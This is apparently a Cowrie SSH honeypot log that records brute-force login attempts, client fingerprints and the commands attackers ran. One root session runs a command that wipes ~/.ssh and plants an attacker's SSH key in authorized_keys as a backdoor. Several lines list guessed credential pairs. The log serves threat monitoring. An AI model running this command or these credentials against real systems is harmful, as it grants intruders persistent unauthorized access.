{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:37.226565Z","src_ip":"45.232.73.84","session":"25e57b2e5b31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:37.348509Z","src_ip":"45.232.73.84","session":"25e57b2e5b31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ray","password":"12345678","message":"login attempt [ray/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:37.606191Z","src_ip":"20.244.18.126","session":"e4cfb27e1d9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"radarr","password":"radarr123","message":"login attempt [radarr/radarr123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:37.842934Z","src_ip":"45.232.73.84","session":"25e57b2e5b31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":46298,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccac381ed458","protocol":"ssh","message":"New connection: 2.57.122.208:46298 (10.17.0.5:22) [session: ccac381ed458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:38.719654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:38.737769Z","src_ip":"2.57.122.208","session":"ccac381ed458","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:38.819023Z","src_ip":"20.244.18.126","session":"e4cfb27e1d9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:38.832081Z","src_ip":"2.57.122.208","session":"ccac381ed458","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:38.979207Z","src_ip":"45.232.73.84","session":"25e57b2e5b31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4$RFV","message":"login attempt [ubuntu/4$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:39.370952Z","src_ip":"2.57.122.208","session":"ccac381ed458","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:40.487766Z","src_ip":"2.57.122.208","session":"ccac381ed458","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.133.202","src_port":42722,"dst_ip":"159.203.135.109","dst_port":22,"session":"b81df1178387","protocol":"ssh","message":"New connection: 211.106.133.202:42722 (159.203.135.109:22) [session: b81df1178387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:50.223568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:50.226715Z","src_ip":"211.106.133.202","session":"b81df1178387","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:50.437337Z","src_ip":"211.106.133.202","session":"b81df1178387","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elemental","password":"12345","message":"login attempt [elemental/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:51.297995Z","src_ip":"211.106.133.202","session":"b81df1178387","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:52.506968Z","src_ip":"211.106.133.202","session":"b81df1178387","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.236.235","src_port":45870,"dst_ip":"159.203.135.109","dst_port":22,"session":"485b7d64e0f8","protocol":"ssh","message":"New connection: 182.52.236.235:45870 (159.203.135.109:22) [session: 485b7d64e0f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:55.131370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:55.135618Z","src_ip":"182.52.236.235","session":"485b7d64e0f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:55.375915Z","src_ip":"182.52.236.235","session":"485b7d64e0f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arkserver","password":"arkserver1234","message":"login attempt [arkserver/arkserver1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:56.368087Z","src_ip":"182.52.236.235","session":"485b7d64e0f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:57.610341Z","src_ip":"182.52.236.235","session":"485b7d64e0f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.88.194.26","src_port":47404,"dst_ip":"159.203.135.109","dst_port":22,"session":"da873970be73","protocol":"ssh","message":"New connection: 176.88.194.26:47404 (159.203.135.109:22) [session: da873970be73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:20.338382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:20.342569Z","src_ip":"176.88.194.26","session":"da873970be73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:20.468351Z","src_ip":"176.88.194.26","session":"da873970be73","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"secret","message":"login attempt [root/secret] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:20.989513Z","src_ip":"176.88.194.26","session":"da873970be73","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:21.271166Z","src_ip":"176.88.194.26","session":"da873970be73","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:21.274299Z","src_ip":"176.88.194.26","session":"da873970be73","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:21.277644Z","src_ip":"176.88.194.26","session":"da873970be73","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:21.411413Z","src_ip":"176.88.194.26","session":"da873970be73","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:21.762359Z","src_ip":"176.88.194.26","session":"da873970be73","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:21.765623Z","src_ip":"176.88.194.26","session":"da873970be73","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:21.893497Z","src_ip":"176.88.194.26","session":"da873970be73","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:21.897389Z","src_ip":"176.88.194.26","session":"da873970be73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.88.194.26","src_port":47420,"dst_ip":"159.203.135.109","dst_port":22,"session":"f11ff395f15f","protocol":"ssh","message":"New connection: 176.88.194.26:47420 (159.203.135.109:22) [session: f11ff395f15f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:22.007563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:22.011717Z","src_ip":"176.88.194.26","session":"f11ff395f15f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:22.131418Z","src_ip":"176.88.194.26","session":"f11ff395f15f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:22.642302Z","src_ip":"176.88.194.26","session":"f11ff395f15f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:23.765114Z","src_ip":"176.88.194.26","session":"f11ff395f15f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.88.194.26","src_port":33422,"dst_ip":"159.203.135.109","dst_port":22,"session":"234651a248b3","protocol":"ssh","message":"New connection: 176.88.194.26:33422 (159.203.135.109:22) [session: 234651a248b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:23.889936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:23.893645Z","src_ip":"176.88.194.26","session":"234651a248b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:24.020326Z","src_ip":"176.88.194.26","session":"234651a248b3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:24.557362Z","src_ip":"176.88.194.26","session":"234651a248b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:24.685101Z","src_ip":"176.88.194.26","session":"234651a248b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:24.689792Z","src_ip":"176.88.194.26","session":"da873970be73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":25673,"dst_ip":"159.203.135.109","dst_port":22,"session":"538357a35062","protocol":"ssh","message":"New connection: 2.57.121.25:25673 (159.203.135.109:22) [session: 538357a35062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:41.511118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:41.515491Z","src_ip":"2.57.121.25","session":"538357a35062","protocol":"ssh"}
